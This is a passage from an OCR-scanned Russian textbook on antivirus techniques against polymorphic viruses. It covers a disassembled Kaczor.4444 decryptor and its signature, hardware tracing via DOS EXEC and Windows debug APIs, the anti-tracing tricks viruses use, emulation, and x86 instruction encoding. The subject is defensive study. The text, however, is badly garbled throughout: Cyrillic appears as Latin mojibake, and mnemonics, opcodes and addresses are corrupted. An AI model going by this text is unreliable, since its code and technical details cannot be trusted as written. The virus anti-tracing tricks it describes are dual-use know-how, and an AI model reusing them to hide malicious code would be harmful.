paccMOTpeHHhiH Bwiue Bandersnatch -  cm. pa3zte/i «3auiH<i)poBaHHbie h 
no/iHMop<|)Hbie Bupycbi*-) h 6o^buiHHCTBo hx Win32-co6paTbeB (HanpH
Mep, W in32 .Parvo , paecMOTpeHHbiH b pa3̂ ejie «IIoJiHMop4>Hbie BHpycw 

ana  W indow s*).
H Rea /ieTeKTHpoBaHHH noflo6Hbix BHpycoB 0CH0BaHa Ha tom, mto no- 

CTOHHHaH cnraaTypa b hhx Bee npiicyrcTByeT -  ho He b HanaJibHbiH 
MOMeHT BpeMeHH, a TOJibKO nocjie aaBepuieHHH paoora  pacuiH(|>poB- 
lUHKa. llpoHJiJiiocTpiipyeM ee Ha npHMepe «riony.rapHoro» b cepe^HHe 
1990-x roaoB BHpyca Kaczor.4444. 3arpy3HM 3apaaceHHyro hm nporpaM
My b KaKOH-HHoyah oTJiaffqHK (HanpHMep, b Turbo Debugger, bxoajhuhh 
b KOMnJieKT nocTaBKH Taicnx npoAyKTOB, KaK Borland/Turbo C /C + + ,  
Borland/Turbo Rascal h npoMHe) h 3aiiMeMCH nouiaroBoii TpaccnpoBKOH. 
B Hana^bHbift momcht BpeMeHH, noKa He BbinoJiHeHa eme hh o/ina KOMaH- 
fla BHpyca, AH3acceM6;mpoBaHHbiH aa\m naMHTii Bbirjia/iHT c;ieayiomHM 
06pa30M:

;  nepeMSHHwfi anropnTM pacuiM0p o B K n -----------
cs:00162EC0062C0004 rol cs:byte P t r  [002C],04 ; A MoxeT 0»Tb RGR/ADD/SUB n r.n.
cs:001C 2EFF061900 m e  cs:word ptr [0019] ; Hhkpqmsht CM6TMMK3
cs 0021 90 nop ; Mycop
CS.0022 2ES13E19004F11 cmp cs:word ptr [0019], 114F , Kompo/ib KO/mnecTsa MTepaunii
cs.0029 75EB jne 0016 i Bosspar e u h k /i oaciuiisppoeKi-i
cs:0028 90 nop
, ----------oamnsppoeaHHoe t g .ho Bupyca -----------------
cs:002C EB60 jmp 008E
cs:002t 004B03 add [bp+di+03],cl
cs:0031 DC12 fcom qword ptr[bp+si]

Ilo ca e  BwnojiHCHHH nepBoii UTepam-in miKJia pacuracfipoBbiBaeTCH 
nepBbifl 6aiiT xejia:
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c s :0 0 2 C  BE6000 mov s i ,  0060 ; < -  Ewflo EB, CTaJio BE

C s :0 0 2 F  4B d e c  bx

c s :0 0 3 0  03DC add b x ,s p

c s :0 0 3 2  12D3 ado d l , b l

Ilocjie Bbino.nHeHHH 7 HxepaiiHH miKjia pacura^poBMBaioTCH TpH nep
Bbie KOMaHAbi TeJia.

CS'.002C BE0600 mov s i , 0006

c s :0 0 2 F  B430 raov a h ,30

c s :0 0 3 1  CD21 irv t  21

Bee Tejio BHpyca 6yaeT 0K0HMaTejibH0 pacuiHcjjpoBaHo Mepe3 114Fh 

HTepauHH. Ho, KaK mm BHaejiH, b npHHUnne, yace Ha mare 7 no cMeme
HHio 2C h  o t  Hanajia BHpyca mojkho o6HapyacHTb nocTOHHHyio caraaTypy 
aahhoh 7 6anTOB:

S (K a c z o r . 4444 ) = < BE 06 00 B4 30 CO 21, 7, 7 >

TaKHM 06pa30M, ec.m g n u  cjiynan «npocTMX cnraaTyp* a ia ii «Bbi;;e- 
jieHHe h c6op xapaKrepHCTHK* cboahach Aiimb k  CHHTUBaHHio 6airroB H3 
4>aHJia, to  ajih nojiHMop<J)Hbix BHpycoB noTpe6yeTca nepBOHanajibHO bm- 
nOAHHTb HeKOTOpce KOJIHMeCTBO KOMaHA IT0A03peBaeM0H nporpaMMM H 
vac noTOM -  cpaBHHBaTb cnrHaTypbi.

7.4.5.1. Annapamnan mpaccupoena
Ilpom e Bcero B0Cn0Jib30BaTbCH uiTaTHbiMH cpeacTBaMH npoueccopa -  

40TJiaA0HHbIMH npepbIBaHRHMH». /teJIO B TOM, HTO npH yCT3HOBKe B 1 6h- 
Ta T  perncTpa (JwiaroB (no yMOJiHamno oh c6pomeH) nocjie BbinoAHeHHH 
npoueccopoM KaacAOH OHepeflHOH KOMaHflM BM3bmaeTCH npepHBaHHe 
« IN T  1». 3 to t  MexaHH3M AocTvneH aBTopy aHTHBHpyca KaK b «peaAb- 
hom», TaK h b «3amnmeHH0M» peacHMax npoueccopa.

ripH pa6oTe nofl ynpaBJieHHeM M S-DOS awraBHpyc nepBMM ziejioM 
AOAaceH o 6ecneHHTb HajiHHHe ooAbinoro h HenpepbiBHoro, hhkcm He 
Hcnojib3yeMoro o.TOKa onepaTHBHofi naMHTH. Koa «n0A03pHTe;ibH0H» 
nporpaMMbi 3arpyacaeTca b CBo6oAHyio naMHTb h noAroTaBJiHBaeTca 
K BbinOAHeHHIO C HCn0Ab30BaHIieM HeAOKVMeHTHpOBaHHOro peaCHMa 
(JjyHKUHH 4Bh:

; 6 n o k. napaMeTpoE sanycxaeMoJt n p o rp a M w :

; . nepeflaBaeMbie SHa'-iSKus
BParara dw 
OfsCMS dw 
SegC-MS dw 
OfsFCl dw 
SagPCI dw

CerMeHT cpenu 
CMemeHHe KOi-iaHfiHOii ctpoksi 
CerMeHT KOMan&HCR c t p o k h  
CMeiiieHHe nepeoro FCB 
C b t m o h t nepeoro FCB
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0fsFC2 dw 6Ch ; CweineHHe B io p o ro  FCB
SegFC2 dw 0 ; CerMeHT BTOporo FCB
; ... BOSBpauiaeH^e
NewSP dw 0 ; CMeiueHMe b CTeKe
NewSS dw ? ; CerMeHT c ie K a
NewIP dw ? ; CneujeHMe tom  km exo/ia
NewCS dw ? , Ce rM en r to m k h  exo/ia

mov dx. offset FileNase
mov bx, offset BParafn
mov ax, 4801h ; "3a rpy3M Tb-M -H e -Buno r
int 2 lh

AHTHBHpyc MoaceT riojiyHHTb cemeHTHbiH aapec «H 0 B0 p 0 »CAeHH0H »  

nporpaM M bi np n  noM om n <J>yHKiiHH 62h (pe3yjibTaT B03BpamaeTca b pe- 

racT pe  BX):

mov ah, 62ft
Int 21ft
mov ds, tjx

BHyTpn HOBoro PSP Tpe6yeTca  HacTpoHTb p aa  noJieii. Bo-nepBbix, 

Heo6xOAHMO n03a60THTbCfl o TOM, HTo6bJ «HOBOpO>KaeHHaH» nporpaM 

Ma, 3aBepuiHB cbokj pa6oTy, BepHViia ynpaBJieHne He Kyaa-TO BHyrpb 

«C O M M A N D .C O M » (KaK s t o  nponcxo/uiT no  yMOjmaHHio), h o  b  yKa- 

3aHHyio to m k v  aHTHBHpyca:

mov ds:word ptr [OAh], offset Exit
mov ds:word ptr [OCh], cs

B o-B Topb ix , H aao H3BJie4b H3 6.7ioKa napaM eTpoB  HOBoe M ecTonojioace- 

H iie  cTeica nnsi «H O B opo*:aeH H O H » nporpaM M bi h  n epeM ecT iiTb  CTeK b yn a- 

3aH H yio o 6aacxb  naMHTH:

cli
mov ss,cs:[NewSS] 
mov sp.cs:[NewSP] 
sti

HaKOHeu, ycTaHOBHTb cerweHTHbie p eracT p ti DS h  ES Ha PSP «h o -  

B0p0acaeHH0H » nporpaMMbi, oiHCTiiTb peracTpbi o 6uiero Ha3naHeHHH, 

H3B.»ie4b H3 6;ioKa napaMeTpoB to > ik v  Bxofla b «HOBopo>KAeHHyio» n po

rpaMMy h  nepeaaTb Ha Hee ynpaBJiem ie (H e  3a6biB nepe/i s tu m  «B3BecTH» 

cjyiar TpaccupoBKn!):

, CipopMHpoBaTb B cTeke Qnam c 6 mtom T=1 
push 303h 

C(SOpvi1pOBaTb B CT8KS T04Ky BxOfld 
push cs:NewCS
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push c s :N e w IP  
; YcTaHOBHTb ES Ha h o b u m  PSP 

mov a x . d s  
mov e s .a x  

; CSpOOMTb perMCTpbl (3T 0  H6 C08CeM KOppeKTHO) 
su b  a x , ax
su b  bx , ox
su b  c x , c x  
su b  d x ,d x  
su b  s i ,  s i  
su b  d i , d i
su b  bp, bp 

; flepefiTM na Toqicy exoAa "HOBopoxfleHHoJi" nporpaMMu 
iret

HanHHaa c 3Toro MOMeHTa cTapTyeT HOBa# nporpaMMa, ho nocjie bu- 
nojmeHHH KaacaoH ee KOMaH/ibi 6yaeT Bbi3braaTbCH TpaccnpoBOMHoe npe
pbiBaHHe. Bee cneuH(J)HHecKHe R.aa aHTHBHpyca aeiicTBHH (KOHTpo/ib 
KOJimecTBa BHnoJiHeHHbix KOMatm, noHCK cnrHaTypu, 6opb6a c aHTHOT- 
.TaaOHHMMH «TpK5KaMH»)  B03JiaraK)TCH Ha o6pa6oT4HK 3T0I'0 npepblBa- 
Hiia, KOTOpbiH aojxaceH 6brrb 3apaHee noaroTOBJien aHTHBHpycoM.

KcTani, ecjin bm noMHHTe, HeHTo no/jo6noe aenaji «My3biKa^bHUH» 
BH pyc M2C, T paccH pyn  Bbi30Bbi cHCTeMHbix (Jw h k u h h  h  pa3biCKHBaa b  

Heapax M S-DOS «HacToaim ie» t o h k h  Bxoaa b h h x .

W in d o w s  TaioKe npe ijocTaB J iaeT  cpeacTBa hjih iicn0.xb30BaHHa 0T ;ia- 

aoHHbix npepbiBaHHH. IIpaB/ia, b s to m  cjiynae o6pa6oT4HK n pep breaH iw  

npHHaaJieacHT o n ep a m io H H o fi cncTeM e, a «c .n ezm m eH » nporpaM M e n o - 

cbiJiaioTca To/rbKo coo6meHHa o to m , h to  npepbiBaHHe, m oji, npoii3oiujio. 
ripH H UH n HCn0JIb3OB3HHH 3T0TO MeX3HH3Ma npHMepHO TaKOB:

O  T p a ccn p yeM a a  nporpaMMa 3 an ycK aeT ca  n p n  n oM om n  CreatePro- 
cess c napaM eTpoM  D E B U G O N L Y T H IS P R O C E S S  ( h to 6 m  

oTCJieacHBajiHCb rnani oflHOH-eflHHCTBeHHOH n porp aM M u , a He B cex  

cpa3y);
O  op raH H 3 yeT ca  h h k j i ojKH/iaHHH h  o6 p a6 oT K ii co6 h t h h  b  Tpaccn - 

p y eM o ft nporpaM M e, npHM epHO TaKoii:

w h i le  (WaitForDebugEvent(...)==TRUE) // floxaaTbcn coowTiffl 
{

C o n t i n u e D e b u g E v e n t ( // npofiomsiTb TpaccnpoBKy
f

o  B 3T0M UHK-Te JIOBHTCH Co6wTHH -  CHaHaJia O/UfO CREAT_
PROCESS_DEBUG_ EVENT=0 (n p o u ec c  cTaproBaa), a noTOM 
M H oro EXCEPTION_DEBUG_EVENT= 1 (n p in u jio  orjiaaoH H oe 

n p ep b iB a m ie ) c k o h o m  EXCEPTION_SINGLE_STEP=80000004h;
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Q  nocae iiohmkh  onepeaHoro co6u th h  mo>kho npii iiomoiuh Get- 
ThreadContext() H3BJieMt kohtckct BbinojiHneMoro noTOKa, b ero 
nojie Eip Haftra aapec TeKymefi BunoJiHHeMon KOMaHAbi h npn no- 
MouiH ReadProcessM em ory() npoHHTaTb Koa b ee OKpecTHOcrax. 

H aao  TOJibKO HMexb b BHay, h to  npoueccbi BbinojiHeHna TpaccHpyeMoii 
h TpaccHpyromen nporpaMM b W indow s acHHxpoHHbi. To ecxb noKa Tpac- 
cnpyiomaH nporpaMMa o6pa6aTMBaeT onepeaHoe co6brrae, TpaccnpyeMaa 
ycneBaeT BbinoaHHTb mhojkcctbo KOMaHa, a He o6pa6oTaHHbie eme co6bi- 
thh 6yayr noMemeHH onepauiioHHoii chctcmoh b onepeab. OaKTHHecKH 
3To MoaceT npHBecTH k tomv, h to noKa aHTHBHpyc nmeT CHraaTypy, BHpyc 
ycneeT «yoe>KaTb» -  BhinojiHHTbCH ao  KOHiia h 3apa3HTb Bee, ao Hero ao- 
THHeTCH. Jinn 6opb6bI C 3THM 3(| (̂J)eKT0M MOJKHO B KaiOHeBbie II03HUHH 
TpaccupyeMoro Koaa npn iiomouih W riteProcessM em ory() BimcbiBaTb 
(a  b nponecce xpaccupoBKM, ecTecTBeHHo, yaaaHTb) 6aHT C C h  -  Koa ko- 
MaHaw « I N T  3 ». ripH aocTiiaceHHH <<INT 3 »  TpaccnpyiomeH nporpaMMe 
Toace 6yaeT nocbi.iaTbCjj co6brrae E X C E P T IO N _ D E B U G _ E V E N T , ho 
Tenepb yx.e c KoaoM E X C E P T IO N _ B R E A K P O IN T =  80000003h.

y  MeToaa annapaTHOH TpacciipoBKH ecTb HenpitHTHbie HeaocTaTKH, 
o6mHe KaK nnx W indows, TaK h ana D O S . HanpHMep, TpaccnpyeMMH 

Biipyc M05K6T cpaBHHTejibHO jierKO o6Hapy»cHTb b perncTpe cfuiaroB ycTa- 
HOBJieHHbiii 6h t T. KpoMe toto, oh MoaceT Hcn07ib30BaTb « I N T  1» h « I N T  

3 » a c b o h x  Hyaca (HanpHMep, ana pacuiiic|)poBKH Tejia) h, TaKHM 06- 
pa30M, 3a6ji0KnpoBaTb npouecc TpaccnpoBKH. Eme oh MoaceT ynecTb, hto  
•rpacciipyromaH nporpaMMa HcnojibayeT c TpaccHpyeMoii o6iuhh CTeK, h 

«HcnopTHTb» TpaccnpoBKV MaiiHiiyjiHnHHMH BHaa «N E G  S P / N E G  S P ».  
HaKOnen, BHpyc MoaceT B0cn0Jib30Ban>cH h3bccthhm 06cT0HTejibCTB0M, 
hto ecjin TpaccnpyeMbiH Koa coaepacHT KOMamty « P O P  S S », to  nocae 

ee BbinoAHeHHH npoqeccop oaHo (11 TOJibKo oano ) TpaccHp0B0HH0e npe- 
pbiBaHHe nponycTHT, a nomM cHOBa npoaoaacHT pa6oTy b npeacHeM pe- 
acHMe. A  sto  03iia'iaeT, hto ecan aBTop BHpyca noMecraT HaH6o.>iee «h h -  
TepecHbiii» 4>parMeHT CBoero «it3aejiHH» b o6pa6oTH H K  KaKoro-HHoyab 

60-ro npepbiBaHHa h o6paTHTCH k HeMy, HanpHMep, bot TaKHM 06pa30M:

DUSfl SS

pop SS
in t  6Gn 
nop

TO aHTHBHpyCHblH o6pa6oTHHK B 3T0T (J>parMCHT He nOnaaeT, CO BCeMH 

BblTeKaiOmHMH H3 3T0TO HenpilHTHblMH nOCJieaCTBHHMIl. B  OpHHUHne. 
«yMHbiH» o6paooTHHK TpaccnpoBOHHoro npepbiBaHHH, npiiHaa-ioKaiuHH 
aHTHBiipycy, aojiasen n0CT0HHH0 «m ynaTb» Koa TpaccHpyeMoii nporpaM-
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mu Ha HecKOJiBKO iuaroB Bnepea, noao6tio tomv, Kaic s to  fleJiaer cjieneu, 
BOOpyjKeHHblH 6eJI0H TpOCTbJO, H no Mepe B03M0JKH0CTH 0 6 x 0 flHTb BHpyc- 
Hbie iioByniKii. Ho s to  HeonpaBaaHiio ycaoacHaeT aHTHBHpyc h 3aMeaaa- 
eT ero pa6oTy. K TOMy ace hcjihiuhmm 6yaer HanoMHHTb. mto annapaTHaa 
TpaccHpoBKa H6B03M0>KHa, HanpHMep, hjisi MaicpoBHpycoB. B o t rioHeMy 
no/io6HbJe TexHoaoniH b np0(J>eccH0HaJibH0 HanHcaHHbix aHTHBHpycax 
Hcnojib3yroTca peaKO.

7 .4 .5 2 .  3 M y jiM u ,u j { n p o z p a M M

AJibTepHaTHBOH annaparaoH TpaccnpoBKe m JiHercn  sMyaanHa (mo- 
aejiHpoBaHHe BbinojmeHiia) noao3pHTeabHbix nporpaMM. B stom caynae 
b cocraB aHTHBHpyca aoajKHa BxoaHTb «BHpTyaabHaa MauiHHa», c toh  
hjih hhoh CTeneHbro /leTa.THaanHH MoaejiHpyioiuafl pa6oTV npoqeccopa, 
a TaioKe, no Mepe Heo6xoanMocTH, bhciuhmx ycTpoHcrB h  onepamioHHoii 
cncTeMbi. B cayHae, ecjin 3MyanpyeTca pa6oTa MaKpoBHpyca, «BnpTyajib- 
Haa MauiHHa» aHTHBHpyca aoajKHa HMHTHpoBaTb pa6oTy csoero aHaaora, 
BKJiioHeHHoro b cocTaB MS Office.

Haea aMyaamiH BbinoafienHa B H pycoB  noaBH Jiacb  b  nepBoft noaoBnne 
1990-x roaoB, k cepeaHHe Toro ace aecaTH.aeTHa ry  h a h  h h v io  pa3HOBHa- 
HocTb a.MVJiaTopa coaep»caa b ce6e npaKTHHecKH Kaacflbiii yBaacaiomml 
ce6« aHTHBHpyc, a Sjihhcc k  KOHuy BeKa BMyjiaTopu noaBHancb h b ak>- 
OHTeabCKHX aHTHBHpycax (HanpHMep, b MultiScan KHeBaaHHHa B. Ko- 
JieCHHKOBa).

Pm c. 7.36 ❖  AHTHBHpyc «Multiscan»
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B HaCTOHIUHH MOMCHT 3MV.MUHH -  3TO OflHH H3 CTaHflapTHblX MCTO/tOB, 

kotopm h  caM no ce6e He o 6ecneHHBaeT /leTeKTHpoaaima KOMnbiOTepHbix 

BHpyCOB, HO CJiyaCHT yZlo6nbIM  H no/l^ac He06x 0/lHMbIM HHCTpyMeHTOM, 

c ynacTHeM KOToporo KOHKpeTHbie MeToaw peaiiH3VK>Tca.

Pa6oTa SMVJiHTopa, b o 6meM c/iyjae, coaepacHT iih k ji BbinoJiHeHHa no- 

ciieflOBaTejibHbix aeScTBHii:

O  Bbi6opKy h  3 «3 acceM 6 jiH p o B aH n e  oMepe^HOH KOMan/ibi;

O  MoaejrapoBaHHe BbinoJiHeHHa oiiepeflHoii KOMaaaw. 
XteKOMnHJiHUHJi onepaTopoB nporpaMM, HamicaHHbix Ha Wordbasic h 

VBA, 6biJia paccMOTpeHa paHee, b paa/tejie, nocbhuiehhom MaKpoBiipy- 

caM. /lH3acce.M6;inpoBaHHe ace MamHHHbix KOMaH/i (h h c tp vk h h h  npo- 
u eccop a ) ocaoBaHo Ha 3HaHmi hx  BuyTpeHHeJ cTpyKTypbi. Pa3Mep rni- 

CTpyKUHH M05KCT KO.TCOaTbCH OT 1 flO 15 6ailTOB. BHyTpeHHHH CTpyK'rV'pa 

flOCTaTOHHO CJIOaCHa H MoaceT COCTOHTb H3 MHOromiC.)ieHHbIX ITOJieH. o 6>i- 

3aTe.ibHbiM H3 KOTopbix HB.raCTCH TOjibKO o#ho -  co;iepacamee ko;i one- 

panHH (opcode).

npecpMKC Koa onepa
uHH (opcode) Mod r/m Sib CMeu48Hne

Henocpesa-
CTBeHHUif
onepa«a

0 turn 1 SaftT 1 mjim 2 Cairra 0 unw 1 6aifT 0 w m  1 5a*T
OT 0 flO 4 
6aHT0B

ot 0 no 4
Sav'TOB

mod | reg/opcode r/m
7 I 6 i 5 I 4 I 3 ... 2  L 1...

SS index base
...Z-..L.6.. , ±  J,. 3 L j _ i ..9...

CTpynrypa QQHOoaHTOeoro norm Mod r/m CrpyicTypa QflHo6afiTQSoro nofl» Sib

Pmc. 7.37 ❖ CTpyioypa MawMHHoii KOMaHfltJ 
B 32-6m tobom  peXMM e

Tlpe(pHKC. 3 t o t  Heo6a3aTe.7bHbm k o m i i o i k i i t  tcm ujih hhwm o6pa- 
30M BHA0H3MeH«eT H VTOHHHeT pa6oTy KOMaHflM1. HanpHMep, npe(|)HKC 
REP (koa  0F3h) MacTO naiojib3yeTc>i cobmcctho c KO.wauAaMH ceMeft- 
CTBa «MOVS**> /ym opraHH3amiH hx MHoroKpaTHoro Bi.mojincimH. II pe- 
4>hkcu nepena3HaHeHHH cerMeHTa BMaoH3\iemnoT ran  cerMeHTa na.MHTH, 
na/i K0T0pbiM BbinoJiHHioTCfl fleftcTBHH. HanpHMep, ec/ra no yMojraanHio 
KOMaHija «M O V  EAX, ( ( ) ] »  6epeT zramibie to  HyJiesoro CMeiueiina o t- 
HocHTeJibHO cerMeHTa DS, to  nocjie Hcn0jib30BaHHH npecJ)HKca c ko/iom 
2Eh BbiSopKa /taHHbix 6y/ieT npoH3Bo/uiTbcH OTHOCHTeJibHO cerMeHTa CS.

1 C aM  Iipe<})HKC OZtHOOaHTOBblH, HO HX B KOMaHJie MOiKCT npiiCVTCTBOBaXb 3.0 
4 h it v k .
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ripe(|)HKCbi c ko/iemh 66h h  67h iio3bojwiot nepeonpeae/iHTt pa3Mephi 
onepanaoB h  a^pecoB -  sto  Tpe6yeTc», HanpHMep, b cjiyqaax, ecjrn koa 
coaepacHT KaK 16-6nTOBbie, TaK h  3 2 -6 h to b w c  komsh/im.

Kofl onepauHH. Mame Bcero s to  nojie coc toh t H3 e^HHCTBCHHoro 6aHTa. 
HanpHMep, 6airr co SHaHeHHeM CDh CooTBeTCTByeT HHCTpyKimn «INT», 
6aiiT co 3HaMeHHeM EAh -  iiHcrpyKUHH MeaccerMeHraoro nepexo/ia 
«JMP» h t. p.. OflHaKo 6biBaeT, h to  co6cTBeHHo Koa onepanHH (KOI1) 3a- 
HHMaeT TojibKo HacTb 6aftTa, a ojmn hjih HecKOJibKO 6htob Hcnojib3yioTCH 
H m  yTOMHeHHH 4>opMaTa KOMaHflu. B o t Han6oJiee nacro Hcnojib3yeMbie 
(JxipMaTbi aToro nojia.

a) f KOn r) non w|rrr| a) Kon sw

6) | KOn RRR B) Kon w Kon dw

P h c .  7.38  ❖ O o p M a Tb i rio/isi «K o fl onepaL(nn»

Ha 3tom  pHcyHKe:
O KOII -  6htm  Kofla onepauHH;
O  RRR -  Tpex6nT0B0e nojie, Koanpyiomee peril crp (cm. ra6ji. 7.5);

Ta6 n M qa 7 .5 . K o a m p o b s h u b  perucrpoB

K o fl 16  6 mtob 8  6 mtob 3 2  6 m a CerMeHT
000 AX AL EAX ES
001 CX CL ECX CS
010 DX DL EDX SS
011 BX BL EBX DS
100 SP AH ESP FS
101 BP CH EBP -

110 SI DH ESI GS
111 Dl BH EDI -

O  w  -  6 h t pa3Mepa ziaHHbix (0  -  6anT, 1 -  cjiobo h.to /jBoiiHoe cjiobo); 
O s -  6h t pa3Mepa onepaHaa (0  -  6aHT, 1 -  cjiobo m h  abohhoc 

cjiobo);
O  d -  6 h t HanpaBJieHHH (0  -  hctohhhk b  Reg/Opcode 11 npHeMHHK 

b  r/m, 1 -  Hao6opoT).
HeK0T0pue KOMaiiabi ( h x  npHMepHo 25% ot  o6mero KOJiiiMecTBa) 

HMeiOT OTyx6aiiT0Bbie k o a m  onepauHH, b  3t o m  cjiynae h x  nepBbiii 6aiiT 
paBen OFh. KpoMe Toro, /iByx6airroBbie k o/im  onepaiiHH h m cio t  Ko.vaHJibi
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BHraHCJieHHH c HJiaBaiomen aaiMTOH1. HaKOHeii, cymecTByiOT pa3HOBHfl- 
hocth KOMaim, koh onepanHH KOTophix 3aHHMaeT eme HecKOJibKO flonoji- 
HHTeJibHbix 6htob b nojie « Reg/Opcodes cjieflyiom ero 6 aiiTa.

BaftT «Mod R/M». Oh onpeflejiaeT peacHM aflpecanHH k n a M an i h co
ctoht H3 Tpex noJien:

O  none «mod» ( 6 HTbi 6 h  7) onpeflejraeT bh/( on ep a H / ia  (00 -  aflpe- 
cam ia 6 e3 CMememra BHfla [ED X ] h jih  [BX+SI], 01 -  Hcnojib3y - 

eTca 8-6HTOBoe CMemeHHe BHiia [BX+SI+OFFh], 10 -  aflpecanHfl 
c 16- h jih  32-6htobm m  CMemeHHeM, 11 -  b  nojie « r / m »  yica3 aH pe- 

rucTpoBbm  onepaHfl);
O nojie «re g / o p c o d e » ( 6 htm  3-5) onpeflejiaeT jih 6 o k o a  peracTpa, 

jih 6 o coaepacHT Tpn flonojiHHTejibHbix 6 nTa KOfla onepanm i;
O  n o jie  «r/ m >  ( cm. Ta6ji. 7 .6 ) mojkct o6o3HanaTb p e ra cT p  ( b 32 -6h - 

tobom peaciiM e) j ih 6 o  H cnoJib3yeTca BM ecTe c n o jieM  «mod» flJia 

(JjopMHpoBaHiiH peatHM a aflpecanH H  (b  16-6htobom  peaciiM e).

Ta6jwma 7.6. PexH M bi aapecaiiHH

«r/m» 1 6 6 mt 3 2  6MTa DpMMesaHMe

000 [BX+SI] [EAX]
001 [BX+DI] [ECX]
010 [BP+SI] [EDX]
011 [BP+DI] [EBX]
100 [SI]
101 [DI] [EBP]
110 [BP] [ESI] npn mod=0 ncno/ib3yeTcfl 16-6wTOBC>e CMemeHHe

111 [BX] [EDI] npn  mod=0 ncno/ib3ytoTCfl «Sib» w 32-6nTc>Boe 
CMemenne

Ilo jie «S IB». Oho npHMeHHeTca jinn noaflepacKH pacumpeHHbix pe- 
>khmob 32-6htoboh aflpecauHH (HanpHMep, TaKHx KaK b KOMaHfle «INC  
[EAX+EBX*8 ]»):

O nojie «ss» oripeflejmer KoacfxJrtimieHT M aciirraoHpoBaHKfl (2,4 h jih  8 ); 
O  nojie «index» onpeflejweT perncxp HHfleKca;
O  nojie «base» onpeflejweT peracTp 6a3bi.
FIojihmh aflpec npn stom (|)opMnpyeTca KaK base+index*ss.
HaKOHen, HenocpeflCTBeHHbie onepaHflbi h cMemenna BHVTpn cenweH- 

TOB TaiOKe VKa3bIBaiOTCH BHyTpH KOM3HflbI -  flJIfl 3T0H uejin CJiyjKaT COOT- 
BeTCTByiom He no jih  ajihhoh flo 4 6aHTOB.

1 B paH H H X HH nceTaX OT Intel OHH BMJIOJIHHJIHCb OTJleJIbHOH MHKpOC-XeMOH -  

«ap n4 )M eTH H eC K H M  COII[)O IieCCOpOM ».
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E[oflpo6Hbie npaBHJia KO/jnpoBaHna kom3h/i npoueccopa mojkho naft- 
n i  b cneijHajibHbix cnpaBOHHHKax -  /tOKyMemrax o t  npoH3Bo/uiTeJieH 
nponeccopoB (HanpHMep, b l in te l 64 and IA-32 Architectures Software 
D eveloper’s M anual*).

Pe3yjibTaT0M /tH3acceM6jiHpoBamia hhctpykhhh aojdkho 6brrb nojiy- 
neHHe cjieayromux cBeaeHHH:

O  oTKyfla H3BJieKaioTCH flaHHbie, c KOTOpbiMH MaHHnyjinpyeT HH- 
CTpyKUHH;

O KaKoii Tun /(eiicTBirii npoiisBo/iHTca Ha/i aaiiHbiMii;
O  Kyaa noMemaeTca pe3yjibTaT BbinojiHeHHH HHCTpykuhh.
B (JmpMeHHOH AOKyMeHTaiiHH coflepacaTca no/ipooHbie oniicaitHfl pa- 

6otm  KOMan/i, BbmojiHHiomMX onpe/iejieHHbiH ran  aeHCTBHH:
O  HTO npOHCXO/IHT C JIHHHblMH B pe3yjIbTaTe 3THX fleHCTBHH;
O  KaKHe 6htm perncTpa (JwiaroB h3Mchhiotch;
O  H3MeHHioTCH jih hbho He a/ipecyeMbie o6jiacn i naMHTH (HanpHMep,

CTeK);
O  H3MeHaeTca jih peacHM pafkyra npoueccopa h ero noflCHcreM h t. n.
Jinx npH M epa, b o t  TaK b m ivw / ih t o n H ca m ie  Ha riceB/ioKojie p a S o r a  ko- 

Mauabi «X L A T » .

/« nceefiOKOfi KOMaHjw XLAT *./
IF  A d d r e s s S iz e = 1 6  

THEN

A L < - (D S :B X + Z e ro E x te n d (A L )) ;

ELSE IF  (A d d r e s s S iz e = 3 2 )

A L < - (D S :E B X + Z e ro E x te n d (A L );

F I;  / *  VcTaHOBKa (w ia ro e */

ELSE (A d d r e s s S iz e = 6 4 )

A L < - (R B X + Z e ro E x te n d (A L )>;

F I ;

EcTb KOMaHAbi, onncaHHe pa6oTW KOTopbix 3aHHMaeT HecKOJibKO cTpa- 
hhu (Hanpimep, « I N T »  h j ih  «R E T » ) .

Bee 3TH CBefleHHH HeOOXOflHMbl £Jia TOHHOro MOfleJIHpOBaHHH BbinOJI- 

HeHHfl KOMaHa. npH 3T0M npHXOflHTCH MOfleJIHpOBaTb H BHyTpeHHIOK) 
cxpyKTypy npoueccopa (peracTpbi, onepeaH h t. n.), oneparaBHyio h ao ji- 
roBpeMeHHVio naMHTb KOMnbiOTepa, HeKOTOpbie BHeuiHHe ycrpoftcTBa h 
n p o n ee . IlpaBjia, b cnjiy o6'beMHocTH h cjiojkhocth sto  He Bceraa y^aeTca.

7.4.53. Ilpomueodeucmeue aMyjwu,uu
M o iy T  JIH aBTOpbl nOJIHMOp(f)HbIX BH pycoB IipOTHBOjeflCTBOBaTb pa6o- 

Te aHTHBHpy ch o ro  3M_yJiaTopa? Jla, pa3yM eeTca.

IlepBaa rpynna mcto/iob iipoTiiBO/ieHCTBiia HanpaBJieHa Ha Hcn0Jib30- 
BaHne cjia6ocTefl /ui3acceM6jiepa.
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H a n 6 o jie e  o6meii npo6jie.MOH H B jm eTca Heno;iHOTa oxBaTa cn creM b i 

KOMaHa n p o u ecco p a . Be/ib c K aaytU M  hobmm rTOKOJieHHeM n p o u ec co p -  

hux HHnoB k Heft 4o6aBJW.!iHCb h /io6aBJmioTCH HOBue rp y n n w  KOMaH,a. 

HanpHMep, yace n p o u ec co p  i80186 oooraTHJi 6a30Byi0 a p x H T e io y p y  B03- 

MoatHOCTbio BbinojiHeHHH KOMaHA « P U  SH  A / P O P A »; BMecTe c i80286 

noiJBiMHCb KOMaHabi 3aii}HU(eHHoro peacHMa; i80386DX HayMHJica 

CaMOCTOflTe-ttbHO BbinOJIHHTb KOMaHabi C IUiaBaiOmeH 33IMTOH (F P U ) ;
i80486 n Pentium zio6aBMJin MHoacecTBo h ob m x  cjiyace6Hbix kom 3hzi rana  

« C P U I D »  h  «R D T S C » ;  coBpeMeHHbie BepcHH nponeccopoB npHBHecjiH 

pacnm peH H H  M M X , SSE, 3D n ow  h  t .  fl. KpoMe T o ro , CMeHa noKOJieHHH

npOUeCCOpOB IipHBO/IHT He TOJIbKO K nOHBJieHHK) HOBbIX HHCTpyKUHH, HO 
h k  HCHe3H0BeHHK> cTapbix. TaK, HanpHMep, eme b 1980-x roaax npona- 
jih  HHCTpyKUHH BHfla « M O V  CS, A X »  h « P O P  C S »,  cymecTBOBaBmne b 
i8086/i8088 h aaace ncnojibaoBaBiimecfl npn HanncaHHH nepBbix BHpy
coB. To.nbKO npoqeccopaMH i80286 h i80386 noflflepacHBajnicb, a n0T0M 
Hcne3JiH H3 CHCTeMbI KOMaHa HHCTpyKUHH «L O A D A L L >  (k oa  050F h ) h 
«LO A D A LLD >>  (koh 070Fh). H au6o .Tee 3ara/io'mo BbiniajiHT cHTyauHH c 
